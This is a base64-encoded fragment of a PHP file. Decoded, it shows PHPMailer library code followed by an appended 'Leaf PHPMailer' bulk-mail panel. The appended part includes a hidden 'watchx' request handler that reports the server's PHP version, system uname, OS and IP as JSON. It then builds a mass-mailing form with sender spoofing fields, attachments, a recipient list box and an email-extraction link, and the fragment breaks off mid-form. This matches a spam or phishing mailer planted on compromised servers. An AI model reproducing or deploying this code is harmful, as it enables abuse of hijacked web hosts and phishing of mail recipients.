W5lZCgnUEtDUzdfVEVYVCcpKSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXh0ZW5zaW9uX21pc3NpbmcnKSAuICdvcGVuc3NsJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgIH0KICAgICAgICAkcHJpdktleVN0ciA9ICFlbXB0eSgkdGhpcy0+REtJTV9wcml2YXRlX3N0cmluZykgPyAkdGhpcy0+REtJTV9wcml2YXRlX3N0cmluZyA6IGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5ES0lNX3ByaXZhdGUpOwogICAgICAgIGlmICgnJyAhPSAkdGhpcy0+REtJTV9wYXNzcGhyYXNlKSB7CiAgICAgICAgICAgICRwcml2S2V5ID0gb3BlbnNzbF9wa2V5X2dldF9wcml2YXRlKCRwcml2S2V5U3RyLCAkdGhpcy0+REtJTV9wYXNzcGhyYXNlKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcHJpdktleSA9IG9wZW5zc2xfcGtleV9nZXRfcHJpdmF0ZSgkcHJpdktleVN0cik7CiAgICAgICAgfQogICAgICAgIC8vV29ya2Fyb3VuZCBmb3IgbWlzc2luZyBkaWdlc3QgYWxnb3JpdGhtcyBpbiBvbGQgUEhQICYgT3BlblNTTCB2ZXJzaW9ucwogICAgICAgIC8vQGxpbmsgaHR0cDovL3N0YWNrb3ZlcmZsb3cuY29tL2EvMTExMTczMzgvMzMzMzQwCiAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJykgPj0gMCBhbmQKICAgICAgICAgICAgaW5fYXJyYXkoJ3NoYTI1NldpdGhSU0FFbmNyeXB0aW9uJywgb3BlbnNzbF9nZXRfbWRfbWV0aG9kcyh0cnVlKSkpIHsKICAgICAgICAgICAgaWYgKG9wZW5zc2xfc2lnbigkc2lnbkhlYWRlciwgJHNpZ25hdHVyZSwgJHByaXZLZXksICdzaGEyNTZXaXRoUlNBRW5jcnlwdGlvbicpKSB7CiAgICAgICAgICAgICAgICBvcGVuc3NsX3BrZXlfZnJlZSgkcHJpdktleSk7CiAgICAgICAgICAgICAgICByZXR1cm4gYmFzZTY0X2VuY29kZSgkc2lnbmF0dXJlKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRwaW5mbyA9IG9wZW5zc2xfcGtleV9nZXRfZGV0YWlscygkcHJpdktleSk7CiAgICAgICAgICAgICRoYXNoID0gaGFzaCgnc2hhMjU2JywgJHNpZ25IZWFkZXIpOwogICAgICAgICAgICAvLydNYWdpYycgY29uc3RhbnQgZm9yIFNIQTI1NiBmcm9tIFJGQzM0NDcKICAgICAgICAgICAgLy9AbGluayBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjMzQ0NyNwYWdlLTQzCiAgICAgICAgICAgICR0ID0gJzMwMzEzMDBkMDYwOTYwODY0ODAxNjUwMzA0MDIwMTA1MDAwNDIwJyAuICRoYXNoOwogICAgICAgICAgICAkcHNsZW4gPSAkcGluZm9bJ2JpdHMnXSAvIDggLSAoc3RybGVuKCR0KSAvIDIgKyAzKTsKICAgICAgICAgICAgJGViID0gcGFjaygnSConLCAnMDAwMScgLiBzdHJfcmVwZWF0KCdGRicsICRwc2xlbikgLiAnMDAnIC4gJHQpOwoKICAgICAgICAgICAgaWYgKG9wZW5zc2xfcHJpdmF0ZV9lbmNyeXB0KCRlYiwgJHNpZ25hdHVyZSwgJHByaXZLZXksIE9QRU5TU0xfTk9fUEFERElORykpIHsKICAgICAgICAgICAgICAgIG9wZW5zc2xfcGtleV9mcmVlKCRwcml2S2V5KTsKICAgICAgICAgICAgICAgIHJldHVybiBiYXNlNjRfZW5jb2RlKCRzaWduYXR1cmUpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIG9wZW5zc2xfcGtleV9mcmVlKCRwcml2S2V5KTsKICAgICAgICByZXR1cm4gJyc7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZW5lcmF0ZSBhIERLSU0gY2Fub25pY2FsaXphdGlvbiBoZWFkZXIuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc2lnbkhlYWRlciBIZWFkZXIKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBES0lNX0hlYWRlckMoJHNpZ25IZWFkZXIpCiAgICB7CiAgICAgICAgJHNpZ25IZWFkZXIgPSBwcmVnX3JlcGxhY2UoJy9cclxuXHMrLycsICcgJywgJHNpZ25IZWFkZXIpOwogICAgICAgICRsaW5lcyA9IGV4cGxvZGUoIlxyXG4iLCAkc2lnbkhlYWRlcik7CiAgICAgICAgZm9yZWFjaCAoJGxpbmVzIGFzICRrZXkgPT4gJGxpbmUpIHsKICAgICAgICAgICAgbGlzdCgkaGVhZGluZywgJHZhbHVlKSA9IGV4cGxvZGUoJzonLCAkbGluZSwgMik7CiAgICAgICAgICAgICRoZWFkaW5nID0gc3RydG9sb3dlcigkaGVhZGluZyk7CiAgICAgICAgICAgICR2YWx1ZSA9IHByZWdfcmVwbGFjZSgnL1xzezIsfS8nLCAnICcsICR2YWx1ZSk7IC8vIENvbXByZXNzIHVzZWxlc3Mgc3BhY2VzCiAgICAgICAgICAgICRsaW5lc1ska2V5XSA9ICRoZWFkaW5nIC4gJzonIC4gdHJpbSgkdmFsdWUpOyAvLyBEb24ndCBmb3JnZXQgdG8gcmVtb3ZlIFdTUCBhcm91bmQgdGhlIHZhbHVlCiAgICAgICAgfQogICAgICAgICRzaWduSGVhZGVyID0gaW1wbG9kZSgiXHJcbiIsICRsaW5lcyk7CiAgICAgICAgcmV0dXJuICRzaWduSGVhZGVyOwogICAgfQoKICAgIC8qKgogICAgICogR2VuZXJhdGUgYSBES0lNIGNhbm9uaWNhbGl6YXRpb24gYm9keS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5IE1lc3NhZ2UgQm9keQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIERLSU1fQm9keUMoJGJvZHkpCiAgICB7CiAgICAgICAgaWYgKCRib2R5ID09ICcnKSB7CiAgICAgICAgICAgIHJldHVybiAiXHJcbiI7CiAgICAgICAgfQogICAgICAgIC8vIHN0YWJpbGl6ZSBsaW5lIGVuZGluZ3MKICAgICAgICAkYm9keSA9IHN0cl9yZXBsYWNlKCJcclxuIiwgIlxuIiwgJGJvZHkpOwogICAgICAgICRib2R5ID0gc3RyX3JlcGxhY2UoIlxuIiwgIlxyXG4iLCAkYm9keSk7CiAgICAgICAgLy8gRU5EIHN0YWJpbGl6ZSBsaW5lIGVuZGluZ3MKICAgICAgICB3aGlsZSAoc3Vic3RyKCRib2R5LCBzdHJsZW4oJGJvZHkpIC0gNCwgNCkgPT0gIlxyXG5cclxuIikgewogICAgICAgICAgICAkYm9keSA9IHN1YnN0cigkYm9keSwgMCwgc3RybGVuKCRib2R5KSAtIDIpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGJvZHk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgdGhlIERLSU0gaGVhZGVyIGFuZCBib2R5IGluIGEgbmV3IG1lc3NhZ2UgaGVhZGVyLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGhlYWRlcnNfbGluZSBIZWFkZXIgbGluZXMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN1YmplY3QgU3ViamVjdAogICAgICogQHBhcmFtIHN0cmluZyAkYm9keSBCb2R5CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9BZGQoJGhlYWRlcnNfbGluZSwgJHN1YmplY3QsICRib2R5KQogICAgewogICAgICAgICRES0lNc2lnbmF0dXJlVHlwZSA9ICdyc2Etc2hhMjU2JzsgLy8gU2lnbmF0dXJlICYgaGFzaCBhbGdvcml0aG1zCiAgICAgICAgJERLSU1jYW5vbmljYWxpemF0aW9uID0gJ3JlbGF4ZWQvc2ltcGxlJzsgLy8gQ2Fub25pY2FsaXphdGlvbiBvZiBoZWFkZXIvYm9keQogICAgICAgICRES0lNcXVlcnkgPSAnZG5zL3R4dCc7IC8vIFF1ZXJ5IG1ldGhvZAogICAgICAgICRES0lNdGltZSA9IHRpbWUoKTsgLy8gU2lnbmF0dXJlIFRpbWVzdGFtcCA9IHNlY29uZHMgc2luY2UgMDA6MDA6MDAgLSBKYW4gMSwgMTk3MCAoVVRDIHRpbWUgem9uZSkKICAgICAgICAkc3ViamVjdF9oZWFkZXIgPSAiU3ViamVjdDogJHN1YmplY3QiOwogICAgICAgICRoZWFkZXJzID0gZXhwbG9kZSgkdGhpcy0+TEUsICRoZWFkZXJzX2xpbmUpOwogICAgICAgICRmcm9tX2hlYWRlciA9ICcnOwogICAgICAgICR0b19oZWFkZXIgPSAnJzsKICAgICAgICAkZGF0ZV9oZWFkZXIgPSAnJzsKICAgICAgICAkY3VycmVudCA9ICcnOwogICAgICAgIGZvcmVhY2ggKCRoZWFkZXJzIGFzICRoZWFkZXIpIHsKICAgICAgICAgICAgaWYgKHN0cnBvcygkaGVhZGVyLCAnRnJvbTonKSA9PT0gMCkgewogICAgICAgICAgICAgICAgJGZyb21faGVhZGVyID0gJGhlYWRlcjsKICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJ2Zyb21faGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkaGVhZGVyLCAnVG86JykgPT09IDApIHsKICAgICAgICAgICAgICAgICR0b19oZWFkZXIgPSAkaGVhZGVyOwogICAgICAgICAgICAgICAgJGN1cnJlbnQgPSAndG9faGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkaGVhZGVyLCAnRGF0ZTonKSA9PT0gMCkgewogICAgICAgICAgICAgICAgJGRhdGVfaGVhZGVyID0gJGhlYWRlcjsKICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJ2RhdGVfaGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJCRjdXJyZW50KSAmJiBzdHJwb3MoJGhlYWRlciwgJyA9PycpID09PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgJCRjdXJyZW50IC49ICRoZWFkZXI7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGZyb20gPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkZnJvbV9oZWFkZXIpKTsKICAgICAgICAkdG8gPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkdG9faGVhZGVyKSk7CiAgICAgICAgJGRhdGUgPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkZGF0ZV9oZWFkZXIpKTsKICAgICAgICAkc3ViamVjdCA9IHN0cl9yZXBsYWNlKAogICAgICAgICAgICAnfCcsCiAgICAgICAgICAgICc9N0MnLAogICAgICAgICAgICAkdGhpcy0+REtJTV9RUCgkc3ViamVjdF9oZWFkZXIpCiAgICAgICAgKTsgLy8gQ29waWVkIGhlYWRlciBmaWVsZHMgKGRraW0tcXVvdGVkLXByaW50YWJsZSkKICAgICAgICAkYm9keSA9ICR0aGlzLT5ES0lNX0JvZHlDKCRib2R5KTsKICAgICAgICAkREtJTWxlbiA9IHN0cmxlbigkYm9keSk7IC8vIExlbmd0aCBvZiBib2R5CiAgICAgICAgJERLSU1iNjQgPSBiYXNlNjRfZW5jb2RlKHBhY2soJ0gqJywgaGFzaCgnc2hhMjU2JywgJGJvZHkpKSk7IC8vIEJhc2U2NCBvZiBwYWNrZWQgYmluYXJ5IFNIQS0yNTYgaGFzaCBvZiBib2R5CiAgICAgICAgaWYgKCcnID09ICR0aGlzLT5ES0lNX2lkZW50aXR5KSB7CiAgICAgICAgICAgICRpZGVudCA9ICcnOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRpZGVudCA9ICcgaT0nIC4gJHRoaXMtPkRLSU1faWRlbnRpdHkgLiAnOyc7CiAgICAgICAgfQogICAgICAgICRka2ltaGRycyA9ICdES0lNLVNpZ25hdHVyZTogdj0xOyBhPScgLgogICAgICAgICAgICAkREtJTXNpZ25hdHVyZVR5cGUgLiAnOyBxPScgLgogICAgICAgICAgICAkREtJTXF1ZXJ5IC4gJzsgbD0nIC4KICAgICAgICAgICAgJERLSU1sZW4gLiAnOyBzPScgLgogICAgICAgICAgICAkdGhpcy0+REtJTV9zZWxlY3RvciAuCiAgICAgICAgICAgICI7XHJcbiIgLgogICAgICAgICAgICAiXHR0PSIgLiAkREtJTXRpbWUgLiAnOyBjPScgLiAkREtJTWNhbm9uaWNhbGl6YXRpb24gLiAiO1xyXG4iIC4KICAgICAgICAgICAgIlx0aD1Gcm9tOlRvOkRhdGU6U3ViamVjdDtcclxuIiAuCiAgICAgICAgICAgICJcdGQ9IiAuICR0aGlzLT5ES0lNX2RvbWFpbiAuICc7JyAuICRpZGVudCAuICJcclxuIiAuCiAgICAgICAgICAgICJcdHo9JGZyb21cclxuIiAuCiAgICAgICAgICAgICJcdHwkdG9cclxuIiAuCiAgICAgICAgICAgICJcdHwkZGF0ZVxyXG4iIC4KICAgICAgICAgICAgIlx0fCRzdWJqZWN0O1xyXG4iIC4KICAgICAgICAgICAgIlx0Ymg9IiAuICRES0lNYjY0IC4gIjtcclxuIiAuCiAgICAgICAgICAgICJcdGI9IjsKICAgICAgICAkdG9TaWduID0gJHRoaXMtPkRLSU1fSGVhZGVyQygKICAgICAgICAgICAgJGZyb21faGVhZGVyIC4gIlxyXG4iIC4KICAgICAgICAgICAgJHRvX2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRkYXRlX2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRzdWJqZWN0X2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRka2ltaGRycwogICAgICAgICk7CiAgICAgICAgJHNpZ25lZCA9ICR0aGlzLT5ES0lNX1NpZ24oJHRvU2lnbik7CiAgICAgICAgcmV0dXJuICRka2ltaGRycyAuICRzaWduZWQgLiAiXHJcbiI7CiAgICB9CgogICAgLyoqCiAgICAgKiBEZXRlY3QgaWYgYSBzdHJpbmcgY29udGFpbnMgYSBsaW5lIGxvbmdlciB0aGFuIHRoZSBtYXhpbXVtIGxpbmUgbGVuZ3RoIGFsbG93ZWQuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGhhc0xpbmVMb25nZXJUaGFuTWF4KCRzdHIpCiAgICB7CiAgICAgICAgLy8rMiB0byBpbmNsdWRlIENSTEYgbGluZSBicmVhayBmb3IgYSAxMDAwIHRvdGFsCiAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goJy9eKC57Jy4oc2VsZjo6TUFYX0xJTkVfTEVOR1RIICsgMikuJyx9KS9tJywgJHN0cik7CiAgICB9CgogICAgLyoqCiAgICAgKiBBbGxvd3MgZm9yIHB1YmxpYyByZWFkIGFjY2VzcyB0byAndG8nIHByb3BlcnR5LgogICAgICogQG5vdGU6IEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldFRvQWRkcmVzc2VzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPnRvOwogICAgfQoKICAgIC8qKgogICAgICogQWxsb3dzIGZvciBwdWJsaWMgcmVhZCBhY2Nlc3MgdG8gJ2NjJyBwcm9wZXJ0eS4KICAgICAqIEBub3RlOiBCZWZvcmUgdGhlIHNlbmQoKSBjYWxsLCBxdWV1ZWQgYWRkcmVzc2VzIChpLmUuIHdpdGggSUROKSBhcmUgbm90IHlldCBpbmNsdWRlZC4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDY0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5jYzsKICAgIH0KCiAgICAvKioKICAgICAqIEFsbG93cyBmb3IgcHVibGljIHJlYWQgYWNjZXNzIHRvICdiY2MnIHByb3BlcnR5LgogICAgICogQG5vdGU6IEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldEJjY0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5iY2M7CiAgICB9CgogICAgLyoqCiAgICAgKiBBbGxvd3MgZm9yIHB1YmxpYyByZWFkIGFjY2VzcyB0byAnUmVwbHlUbycgcHJvcGVydHkuCiAgICAgKiBAbm90ZTogQmVmb3JlIHRoZSBzZW5kKCkgY2FsbCwgcXVldWVkIGFkZHJlc3NlcyAoaS5lLiB3aXRoIElETikgYXJlIG5vdCB5ZXQgaW5jbHVkZWQuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0UmVwbHlUb0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5SZXBseVRvOwogICAgfQoKICAgIC8qKgogICAgICogQWxsb3dzIGZvciBwdWJsaWMgcmVhZCBhY2Nlc3MgdG8gJ2FsbF9yZWNpcGllbnRzJyBwcm9wZXJ0eS4KICAgICAqIEBub3RlOiBCZWZvcmUgdGhlIHNlbmQoKSBjYWxsLCBxdWV1ZWQgYWRkcmVzc2VzIChpLmUuIHdpdGggSUROKSBhcmUgbm90IHlldCBpbmNsdWRlZC4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRBbGxSZWNpcGllbnRBZGRyZXNzZXMoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWxsX3JlY2lwaWVudHM7CiAgICB9CgogICAgLyoqCiAgICAgKiBQZXJmb3JtIGEgY2FsbGJhY2suCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkaXNTZW50CiAgICAgKiBAcGFyYW0gYXJyYXkgJHRvCiAgICAgKiBAcGFyYW0gYXJyYXkgJGNjCiAgICAgKiBAcGFyYW0gYXJyYXkgJGJjYwogICAgICogQHBhcmFtIHN0cmluZyAkc3ViamVjdAogICAgICogQHBhcmFtIHN0cmluZyAkYm9keQogICAgICogQHBhcmFtIHN0cmluZyAkZnJvbQogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZG9DYWxsYmFjaygkaXNTZW50LCAkdG8sICRjYywgJGJjYywgJHN1YmplY3QsICRib2R5LCAkZnJvbSkKICAgIHsKICAgICAgICBpZiAoIWVtcHR5KCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24pICYmIGlzX2NhbGxhYmxlKCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24pKSB7CiAgICAgICAgICAgICRwYXJhbXMgPSBhcnJheSgkaXNTZW50LCAkdG8sICRjYywgJGJjYywgJHN1YmplY3QsICRib2R5LCAkZnJvbSk7CiAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jX2FycmF5KCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24sICRwYXJhbXMpOwogICAgICAgIH0KICAgIH0KfQoKLyoqCiAqIFBIUE1haWxlciBleGNlcHRpb24gaGFuZGxlcgogKiBAcGFja2FnZSBQSFBNYWlsZXIKICovCmNsYXNzIHBocG1haWxlckV4Y2VwdGlvbiBleHRlbmRzIEV4Y2VwdGlvbgp7CiAgICAvKioKICAgICAqIFByZXR0aWZ5IGVycm9yIG1lc3NhZ2Ugb3V0cHV0CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZXJyb3JNZXNzYWdlKCkKICAgIHsKICAgICAgICAkZXJyb3JNc2cgPSAnPHN0cm9uZz4nIC4gaHRtbHNwZWNpYWxjaGFycygkdGhpcy0+Z2V0TWVzc2FnZSgpKSAuICI8L3N0cm9uZz48YnIgLz5cbiI7CiAgICAgICAgcmV0dXJuICRlcnJvck1zZzsKICAgIH0KfQppZiAoJF9SRVFVRVNUWyd3YXRjaHgnXSkgewoJJHZlcnNpb24gPSBwaHB2ZXJzaW9uKCk7CgkkdW5hbWUgPSAgcGhwX3VuYW1lKCk7CgkkaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7CQoJZWNobyBqc29uX2VuY29kZSAoYXJyYXkgKCJ2ZXJzaW9uIj0+JHZlcnNpb24sCgkJInVuYW1lIj0+JHVuYW1lLAoJCSJwbGF0Zm9ybSI9PlBIUF9PUywKCQkiaXAiPT4kaXAsCgkJIm1haWxlcngiPT50cnVlLAkKCSkpOwoJZGllICgpOwp9CmZ1bmN0aW9uIGxlYWZoZWFkZXIoKXsKcHJpbnQgJwo8aGVhZD4KICAgIDx0aXRsZT4nLnN0cl9yZXBsYWNlKCJ3d3cuIiwgIiIsICRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJyAtIExlYWYgUEhQTWFpbGVyPC90aXRsZT4KICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ii8+CiAgICA8bGluayBocmVmPSJodHRwczovL21heGNkbi5ib290c3RyYXBjZG4uY29tL2Jvb3Rzd2F0Y2gvMy40LjEvY29zbW8vYm9vdHN0cmFwLm1pbi5jc3MiIHJlbD0ic3R5bGVzaGVldCIgPiAgICAKCjwvaGVhZD4nOwp9CmxlYWZoZWFkZXIoKTsKcHJpbnQgJzxib2R5Pic7CnByaW50ICc8ZGl2IGNsYXNzPSJjb250YWluZXIgY29sLWxnLTYiPgogICAgICAgIDxoMz48Zm9udCBjb2xvcj0iZ3JlZW4iPjxzcGFuIGNsYXNzPSJnbHlwaGljb24gZ2x5cGhpY29uLWxlYWYiPjwvc3Bhbj48L2ZvbnQ+IExlYWYgUEhQTWFpbGVyIDxzbWFsbD4nLiRsZWFmWyd2ZXJzaW9uJ10uJzwvc21hbGw+PC9oMz4KICAgICAgICA8Zm9ybSBuYW1lPSJmb3JtIiBpZD0iZm9ybSIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249IiI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ic2NvcmUiPgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgIj48bGFiZWwgZm9yPSJzZW5kZXJFbWFpbCI+RW1haWw8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJzZW5kZXJFbWFpbCIgbmFtZT0ic2VuZGVyRW1haWwiIHZhbHVlPSInLiRzZW5kZXJFbWFpbC4nIj48L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgIj48bGFiZWwgZm9yPSJzZW5kZXJOYW1lIj5TZW5kZXIgTmFtZTwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgIGlucHV0LXNtICIgaWQ9InNlbmRlck5hbWUiIG5hbWU9InNlbmRlck5hbWUiIHZhbHVlPSInLiRzZW5kZXJOYW1lLiciPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICAiPjxsYWJlbCBmb3I9ImF0dGFjaG1lbnQiPkF0dGFjaG1lbnQgPHNtYWxsPihNdWx0aXBsZSBBdmFpbGFibGUpPC9zbWFsbD48L2xhYmVsPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJhdHRhY2htZW50W10iIGlkPSJhdHRhY2htZW50W10iIG11bHRpcGxlLz48L3NwYW4+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiI+PGxhYmVsIGZvcj0icmVwbHlUbyI+UmVwbHktdG88L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJyZXBseVRvIiBuYW1lPSJyZXBseVRvIiB2YWx1ZT0iJy4kcmVwbHlUby4nIiAvPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTEyICI+PGxhYmVsIGZvcj0ic3ViamVjdCI+U3ViamVjdDwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgIGlucHV0LXNtICIgaWQ9InN1YmplY3QiIG5hbWU9InN1YmplY3QiIHZhbHVlPSInLiRzdWJqZWN0LiciIC8+PC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiI+PGxhYmVsIGZvcj0ibWVzc2FnZUxldHRlciI+TWVzc2FnZSBMZXR0ZXIgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXhzIiBmb3JtPSJmb3JtIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJ2aWV3IiBmb3JtdGFyZ2V0PSJfYmxhbmsiPlByZXZpZXcgPC9idXR0b24+PC9sYWJlbD48dGV4dGFyZWEgbmFtZT0ibWVzc2FnZUxldHRlciIgaWQ9Im1lc3NhZ2VMZXR0ZXIiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPicuJG1lc3NhZ2VMZXR0ZXIuJzwvdGV4dGFyZWE+PC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+PGxhYmVsIGZvcj0iZW1haWxMaXN0Ij5FbWFpbCBMaXN0IDxhIGhyZWY9Ij9lbWFpbGZpbHRlcj1vbiIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXhzIj5GaWx0ZXIvRXh0cmFjdDwvYT48L2xhYmVsPjx0ZXh0YXJlYSBuYW1lPSJlbWFpbExpc3QiIGlkPSJlbWFpbExpc3QiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPicuJGVtYWlsTGlzdC4nPC90ZXh0YXJlYT48L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ibWVzc2FnZVR5cGUiPk1lc3NhZ2UgVHlwZTwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgSFRNTCA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Im1lc3NhZ2VUeXBlIiBpZD0ibWVzc2FnZVR5cGUiIHZhbHVlPSIxIiAnLiRodG1sLic+CiAgICAgICAgICAgICAgICAgICAgUGxhaW48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Im1lc3NhZ2VUeXBlIiBpZD0ibWVzc2FnZVR5cGUiIHZhbHVlPSIyIiAnLiRwbGFpbi4nPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3